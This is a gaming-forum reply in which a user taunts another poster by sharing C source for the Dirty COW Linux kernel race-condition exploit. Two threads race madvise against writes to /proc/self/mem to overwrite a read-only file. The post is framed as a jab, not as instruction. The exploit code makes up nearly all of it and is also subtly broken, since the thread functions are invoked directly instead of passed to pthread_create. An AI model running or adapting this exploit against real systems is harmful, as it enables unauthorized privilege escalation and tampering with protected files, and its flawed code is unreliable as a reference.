Netcees  

Go Back   Netcees > Forum > Discussion Board
Register FAQ Community Calendar Today's Posts Search

User Tag List

Reply
 
Thread Tools Display Modes
Old 01-18-2020, 02:33 PM   #1
Scripter
_Al_GO_RYTHMIC
 
Scripter's Avatar
 
Join Date: May 2013
Posts: 644
Battle Record: 1-3



Rep Power: 0
Scripter drags down this site on a Masaii-levelScripter drags down this site on a Masaii-levelScripter drags down this site on a Masaii-levelScripter drags down this site on a Masaii-levelScripter drags down this site on a Masaii-levelScripter drags down this site on a Masaii-levelScripter drags down this site on a Masaii-levelScripter drags down this site on a Masaii-levelScripter drags down this site on a Masaii-levelScripter drags down this site on a Masaii-levelScripter drags down this site on a Masaii-level
Talking

Quote:
Originally Posted by Spleth View Post
He went from master hacker to 16 yo cringe troll in a quick minute
Here is something you should be able to relate to moooo


Code:
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode.
  int f=open("/myfile", O_RDONLY);

  // Map the file to memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, "222222");                        

  // We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread(file_size), (void  *)file_size); 
  pthread_create(&pth2, NULL, writeThread(file_size), position);             

  // Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}

void *writeThread(void *arg)
{
  char *content= "******";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
}
__________________
http://www.youtube.com/user/toadill

Ⓖⓔⓣ ⓘⓝ ⓣⓗⓔ ⓑⓞⓦⓛ
I CAN’T LIVE WITHOUT
╔══════╦═╗╔═╦═══╦═╦═══╗
║░╔╗╔╗░║░║║░║╚══╣░║░╔═╝
║░║╚╝║░║░╚╝░╠══╗║░║░╚═╗
╚═╝░░╚═╩════╩═══╩═╩═══╝
¸.•*¨*•♫♪¸.•*¨*•♫♪¸.•*¨*•♫♪¸.•*¨*•♫♪

◕MUSIC◕LOVE◕LIVE◕LAUGH◕
☯█▄█ █ █▀█ █▄█ █▀█ █▀█ ♬
♬█▀█ █ █▀▀ █▀█ █▄█ █▀▀ ☯
❤ ♡ ❤ ♡ ❤♡ ❤ ♡ ❤ ♡ ❤ ♡ ❤♡
Scripter is offline   Reply With Quote
Reply


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 09:25 AM.


Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
User Alert System provided by Advanced User Tagging (Lite) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Google+